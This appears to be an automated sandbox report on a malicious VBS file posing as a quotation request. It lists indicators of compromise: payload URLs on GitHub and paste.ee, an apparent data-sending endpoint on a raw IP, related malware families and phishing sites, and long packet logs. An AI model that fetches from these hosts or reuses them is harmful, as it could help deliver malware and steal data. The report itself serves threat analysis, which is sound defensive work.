https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txtfmU;	powershell.exe, 00000004.00000002.2401613966.0000022C01882000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://oneget.org	powershell.exe, 00000004.00000002.2401613966.0000022C02D8D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	powershell.exe, 00000004.00000002.2416249657.0000022C12CBC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org/xml/	powershell.exe, 00000004.00000002.2416249657.0000022C12CBC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.97.3	paste.ee	European Union		13335	CLOUDFLARENETUS	true
185.199.110.133	raw.githubusercontent.com	Netherlands		54113	FASTLYUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1522516
Start date and time:	2024-09-30 09:56:13 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	RFQ-5120240930 VENETA PESCA SRL.vbs
Detection:	MAL
Classification:	mal100.troj.expl.evad.winVBS@8/6@2/2
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 100% Number of executed functions: 19 Number of non-executed functions: 100
Cookbook Comments:	Found application associated with file extension: .vbs

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 7092 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:57:21	API Interceptor	47x Sleep call for process: powershell.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.97.3	Shipping Documents_pdf.exe	Get hash	malicious	FormBook	Browse	www.rtprajalojago.live/7vun/
	inject.exe	Get hash	malicious	RedLine, Xmrig	Browse	joxi.net/4Ak49WQH0GE3Nr.mp3
	http://meta.case-page-appeal.eu/community-standard/208273899187123/	Get hash	malicious	Unknown	Browse	meta.case-page-appeal.eu/assets/k9854w4e5136q5a-f2169603.png
	9q24V7OSys.exe	Get hash	malicious	FormBook	Browse	www.kzeconomy.top/bopi/?-Z_XO=6kwaqb6m5omublBEUG6Q6qPKP5yOZjcuHwr6+9T02/Tvpmf8nJuTPpmClij6fvBBwm3b&zxltAx=RdCtqlAhlNvlRVfP
	QUOTATION_SEPQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/mfctuvFf/download
	http://brawllstars.ru/	Get hash	malicious	HTMLPhisher	Browse	brawllstars.ru/
	http://aktiivasi-paylaterr.from-resmi.com/	Get hash	malicious	Unknown	Browse	aktiivasi-paylaterr.from-resmi.com/
	ECChG5eWfZ.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	homker11.uebki.one/GeneratorTest.php
	HpCQgSai4e.exe	Get hash	malicious	FormBook	Browse	www.zhxgtlw.top/bopi/?XtEdZRAP=tIrAt1o0vWdNGbj/SzADcCGpASEIYc8Vm+jYIgWXaQC1p/Id9tI9XA8Ni4J3RpZHG8N5&8p=DXgPYZ
	QUOTATION_SEPQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/Ky4pZ0WB/download
185.199.110.133	SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll	Get hash	malicious	Metasploit	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
raw.githubusercontent.com	SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	185.199.110.133
	SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	185.199.111.133
	C6DAEyTs7d.rtf	Get hash	malicious	Remcos	Browse	185.199.109.133
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.26006.17204.rtf	Get hash	malicious	Remcos	Browse	185.199.111.133
	dvswiftsend_240917122612_9331095243.docx.doc	Get hash	malicious	Remcos	Browse	185.199.111.133
	4xBq1SMyQt.exe	Get hash	malicious	XWorm	Browse	185.199.110.133
	http://gasbot-demos.vercel.app/	Get hash	malicious	Unknown	Browse	185.199.109.133
	https://33357.github.io/uniswap-v2	Get hash	malicious	Unknown	Browse	185.199.108.133
	https://coinbase-auth.netlify.app/	Get hash	malicious	HTMLPhisher	Browse	185.199.110.133
	PO.xls	Get hash	malicious	Remcos	Browse	185.199.108.133
paste.ee	sostener.vbs	Get hash	malicious	Remcos, PureLog Stealer	Browse	188.114.97.3
	asegurar.vbs	Get hash	malicious	Remcos, PureLog Stealer	Browse	188.114.97.3
	hnvc.vbs	Get hash	malicious	PureLog Stealer	Browse	188.114.97.3
	wm.vbs	Get hash	malicious	PureLog Stealer, XWorm	Browse	188.114.96.3
	Zoom_Invite.call-660194855683.wsf	Get hash	malicious	XWorm	Browse	188.114.97.3
	reported_account_violation-pdf-67223451.wsf	Get hash	malicious	XWorm	Browse	188.114.97.3
	New_Document-660128863990.wsf	Get hash	malicious	Unknown	Browse	188.114.96.3
	New_Document-660119928827.wsf	Get hash	malicious	Unknown	Browse	188.114.97.3
	New_Document-0706282.js	Get hash	malicious	Unknown	Browse	188.114.96.3
	New_Document-0706282.js	Get hash	malicious	Unknown	Browse	188.114.97.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://form.asana.com/?k=SVzOAgf254NWBNm-dO6Wfg&d=1208255323046871	Get hash	malicious	Unknown	Browse	1.1.1.1
	SecuriteInfo.com.Win32.MalwareX-gen.31013.20843.dll	Get hash	malicious	Unknown	Browse	188.114.97.3
	SecuriteInfo.com.Win32.MalwareX-gen.31013.20843.dll	Get hash	malicious	Unknown	Browse	188.114.97.3
	file.exe	Get hash	malicious	Unknown	Browse	172.67.74.152
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.1.169
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.205.129
	file.exe	Get hash	malicious	Unknown	Browse	104.21.54.163
	https://wwvmicrosx.live/office365/office_cookies/main	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	CAPE MARS VSL'S PARTICULARS.docx.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
	MV TASOS Vessel's Details.docx.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.74.152
FASTLYUS	https://en.softonic.com	Get hash	malicious	Unknown	Browse	199.232.209.91
	SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	185.199.110.133
	SecuriteInfo.com.Win64.MalwareX-gen.27060.22350.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	185.199.111.133
	https://polap77.com/	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	https://www.marketbeat.com/articles/music-streaming-site-spotify-temporarily-goes-down-2024-09-29/?utm_source=newsletter&utm_medium=email&utm_campaign=newsletterclick&source=ARNDaily&AccountID=13091940&hash=99E2922EEB6FEC86743F5DB2C0E84BA5899D68F68F1472F885291F590EAD713452D3376C362A15DEDE29DFC4761637FD6FDD698F31176C60366847F610D6C32C	Get hash	malicious	Unknown	Browse	151.101.129.44
	https://ebookkeepers.com.pk/	Get hash	malicious	Unknown	Browse	151.101.2.133
	https://mx1.margarettaphilomena.net/	Get hash	malicious	Unknown	Browse	199.232.188.157
	https://jenifer-lopezz.pages.dev/	Get hash	malicious	Unknown	Browse	185.199.108.153
	https://kaisonfhtr.pages.dev/	Get hash	malicious	Anonymous Proxy	Browse	151.101.192.84
	https://jogosderobloxdematazumbie.blogspot.com/	Get hash	malicious	Unknown	Browse	151.101.1.140

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Urgent Quotation Notification_pdf.vbs	Get hash	malicious	Unknown	Browse	188.114.97.3 185.199.110.133
	http://hrlaw.com.au	Get hash	malicious	Unknown	Browse	188.114.97.3 185.199.110.133
	file.exe	Get hash	malicious	Unknown	Browse	188.114.97.3 185.199.110.133
	file.exe	Get hash	malicious	Unknown	Browse	188.114.97.3 185.199.110.133
	CAPE MARS VSL'S PARTICULARS.docx.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	188.114.97.3 185.199.110.133
	MV TASOS Vessel's Details.docx.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	188.114.97.3 185.199.110.133
	COMMERCAIL INVOICE AND DHL AWB TRACKING DETAILS.exe	Get hash	malicious	AgentTesla	Browse	188.114.97.3 185.199.110.133
	https://okfun188.com/	Get hash	malicious	Unknown	Browse	188.114.97.3 185.199.110.133
	https://mukirecords.com/	Get hash	malicious	Unknown	Browse	188.114.97.3 185.199.110.133
	https://thepeaceapproach.net/	Get hash	malicious	Unknown	Browse	188.114.97.3 185.199.110.133

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulf66llp:NllUSOl
MD5:	B798C92691636A7830BE142C313C0E72
SHA1:	53C2A97D145573705355A8C39757DB8009D116CC
SHA-256:	5D6C0E321D148D9CD398B4261686BA6344F9FFF6FB4226AF1C8AEE4FB89DC75F
SHA-512:	6198106131F8C8083DA7946BADE71A6BB3A37474DC81E699976680CD3ACC1E84B8A151F7F8D15A79C1343BB108992D44CB98FE78593F55CE891B669EB6022106
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4vdowbve.3mq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5ua0yfmx.hvv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hpj0nzva.ftc.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nwx412n5.41z.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\~DFDA8E7D9BEC83FF01.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	1.2606497387666988
Encrypted:	false
SSDEEP:	6:rl91bxbt+r+CFQXJX79Xa9Xh9XR5+flEij1b5X:rl3b/+PFQJ5G7ONEipl
MD5:	12D6E5C05A917B1364B289EFDF03211E
SHA1:	1599496251CBB0C736892E68F825EEFB8228786C
SHA-256:	428710C0B56A47CE1FA276F8DED45C6CFF464CD753D91A5FB19670DD2B8225C1
SHA-512:	E3C75084A60F6E956B0AC31DE6FD9A8205EE5ECA7B4436F393CB99275DCA644288E900F835C7CBC26014C1358BB43E361164E2C5B1FE73E7DD1097022B294097
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Entropy (8bit):	3.7393678765218863
TrID:	Text - UTF-16 (LE) encoded (2002/1) 64.44% MP3 audio (1001/1) 32.22% Lumena CEL bitmap (63/63) 2.03% Corel Photo Paint (41/41) 1.32%
File name:	RFQ-5120240930 VENETA PESCA SRL.vbs
File size:	499'134 bytes
MD5:	d969df11d11c9dfafbe27aacd81dcb82
SHA1:	83748eb8a719110829c744930c7a0b88d8c1f107
SHA256:	ef18b54b8f37d475de25d891221866bb252f710f141a5107f9ba39fb110fc0d7
SHA512:	16898deedbe29ba6e2038ad4e731d55330f03330e83ecc104b0c7cdca5a09e8d1c08e04d3833ef50cd679b9cf218190d2ea243c253999a2b209e68df0d8895a8
SSDEEP:	12288:GrKtbKUS3qE5jBQPwTcsG/O9bt6cUo0yXlBmpjB2taz5xgpf07UgLO9jT5KT1yYz:GAYN7GGl6AyS+
TLSH:	DEB4181135EAB048F1F32FA356E955E94FBBB5662A36912E7048070F4B93E80CE51B73
File Content Preview:	..L.W.k.W.k.R.i.W.i.C.G.i.L.b.B.i.G.Z.h.W.L.W.B.p.P.f.N.b.G.O.R.h.W.m.r.P.R.L.A.A.o.K.P.G.W.S.r.g.U.a.x.i.P.f.x.e.o.x.a.l.a.t.o.A.J.c.j.h.Q.W.N.p.z. .=. .".e.W.W.P.z.p.c.Z.f.a.e.U.q.x.o.Q.N.b.U.c.e.f.J.W.Z.u.B.W.G.l.b.j.b.L.P.K.R.l.o.h.W.G.L.t.b.h.Z.c.t.L

File Icon


Icon Hash:	68d69b8f86ab9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-30T09:57:27.621542+0200	2841075	ETPRO MALWARE Terse Request to paste .ee - Possible Download	1	192.168.2.6	49719	188.114.97.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 30, 2024 09:57:23.535767078 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:23.535820007 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:23.535909891 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:23.545766115 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:23.545806885 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.120420933 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.120558977 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.124644995 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.124665022 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.125195980 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.135493994 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.179403067 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.292325020 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.293204069 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.293241024 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.293267965 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.293286085 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.293299913 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.293339014 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.293958902 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.294004917 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.294017076 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.294037104 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.294070959 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.294080973 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.294087887 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.294137001 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.294739962 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.308269978 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.308361053 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.308399916 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.358515024 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.555732965 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.555753946 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.555768967 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.555795908 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.555816889 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.555820942 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.555849075 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.555865049 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.555879116 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.555890083 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.555907965 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.555922031 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.555929899 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.555962086 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.555989981 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.561157942 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.561182976 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.561259985 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.561269999 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.561338902 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.563064098 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.563085079 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.563143015 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.563149929 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.563225031 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.563225031 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.564884901 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.564905882 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.564960957 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.564968109 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.565001011 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.565020084 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.566605091 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.566627979 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.566684008 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.566694021 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.566732883 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.566749096 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.568519115 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.568540096 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.568598032 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.568605900 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.568645000 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.570497990 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.570518017 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.570571899 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.570579052 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.570612907 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.570647001 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.572365999 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.572386026 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.572439909 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.572464943 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.572479010 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.572520018 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.574003935 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.574026108 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.574107885 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.574131966 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.574171066 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.575689077 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.575714111 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.575757027 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.575778008 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.575797081 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.575819969 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.576039076 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.576057911 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.576106071 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.576118946 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.576152086 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.614453077 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.614499092 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.614567995 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.614600897 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.614618063 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.614645958 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.652264118 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.652323961 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.652502060 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.652502060 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.652529955 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.652601957 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.652601004 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.652635098 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.652672052 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.652693033 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.652705908 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.652720928 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.652757883 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.652789116 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.653002024 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.653053045 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.653084993 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.653094053 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.653120041 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.653136969 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.653584003 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.653634071 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.653659105 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.653670073 CEST	443	49718	185.199.110.133	192.168.2.6
Sep 30, 2024 09:57:24.653692961 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.653707981 CEST	49718	443	192.168.2.6	185.199.110.133
Sep 30, 2024 09:57:24.653961897 CEST	443	49718	185.199.110.133	192.168.2.6
